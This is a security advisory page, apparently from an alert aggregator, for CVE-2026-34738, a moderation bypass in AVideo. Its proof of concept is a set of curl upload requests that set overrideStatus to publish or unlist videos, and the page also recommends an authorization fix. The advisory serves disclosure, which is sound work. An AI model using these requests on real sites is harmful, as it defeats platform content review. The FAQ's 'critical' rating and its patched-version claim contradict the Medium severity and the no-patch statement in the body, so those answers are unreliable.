CVE-2026-34738: AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter

Published Mar 31, 2026
·
Updated

Summary

AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.

Details

At objects/video.php:1055-1056, the video object checks for an overrideStatus parameter in the request and applies it directly:

php if (!empty($REQUEST['overrideStatus'])) { return $this->setStatus($REQUEST['overrideStatus']); }

This code is reached from two entry points: - objects/videoAddNew.json.php:157 - when adding a new video - objects/aVideoEncoder.json.php:114 - when processing an encoded video

The setStatus() method validates that the provided status code is one of the recognized values (a, k, i, h, e, x, d, t, u, s, r, f, b, p, c) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.

The relevant status codes include: - a - Active (published and publicly visible) - k - Draft (pending review) - i - Inactive - e - Encoding - x - Deleted - u - Unlisted

When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including overrideStatus=a in their upload request.

Proof of Concept

1. Assume the AVideo instance has moderation enabled (new videos default to draft status k).

2. Upload a video as a regular user, including the overrideStatus parameter:

bash curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Bypassed Moderation" \ -F "description=This video skips the review queue" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=a"

3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.

4. Verify the video is publicly accessible:

bash curl -s "https://your-avideo-instance.com/video/VIDEOCLEANTITLE" | grep -o "<title>.</title>"

5. An uploader can also use this to set other statuses:

bash Set a video to "unlisted" even if the platform restricts this curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Unlisted Video" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=u"

Impact

Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like "unlisted" or "inactive" on their own videos, bypassing platform-level restrictions on these features.

- CWE-285: Improper Authorization - Severity: Medium

Recommended Fix

Add an authorization check before applying the overrideStatus parameter at objects/video.php:1055:

php // objects/video.php:1055 if (!empty($REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) { return $this->setStatus($REQUEST['overrideStatus']); }

This ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.

--- Found by aisafe.io

Other sources

WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches.

NVD

Affected Software

3 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    In objects/video.php at around lines 1055-1056, do not apply the request parameter overrideStatus directly. Instead, gate overrideStatus processing so it only executes when the caller satisfies (User::isAdmin() || Permissions::canAdminVideos()); otherwise ignore overrideStatus and proceed with the normal moderation workflow.

    AVideo (objects/video.php) overrideStatus authorization check = Only allow overrideStatus when User::isAdmin() OR Permissions::canAdminVideos()

Event History

Mar 31, 2026
CVE Published
via MITRE·08:55 PM
Data Sourced
via MITRE·08:55 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Apr 1, 2026
Advisory Published
via GitHub·09:07 PM
Data Sourced
via GitHub·09:07 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34738?

CVE-2026-34738 has been classified as a critical vulnerability due to its potential for unauthorized video status alterations.

2

How do I fix CVE-2026-34738?

To mitigate CVE-2026-34738, upgrade AVideo to version 26.1 or later where the vulnerability is patched.

3

What versions of AVideo are affected by CVE-2026-34738?

CVE-2026-34738 affects AVideo versions up to and including 26.0.

4

What type of attack does CVE-2026-34738 enable?

CVE-2026-34738 enables attackers to bypass video publishing workflows and modify video statuses without authorization.

5

Who is the vendor responsible for CVE-2026-34738?

The vendor responsible for CVE-2026-34738 is WWBN, the creator of the AVideo platform.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203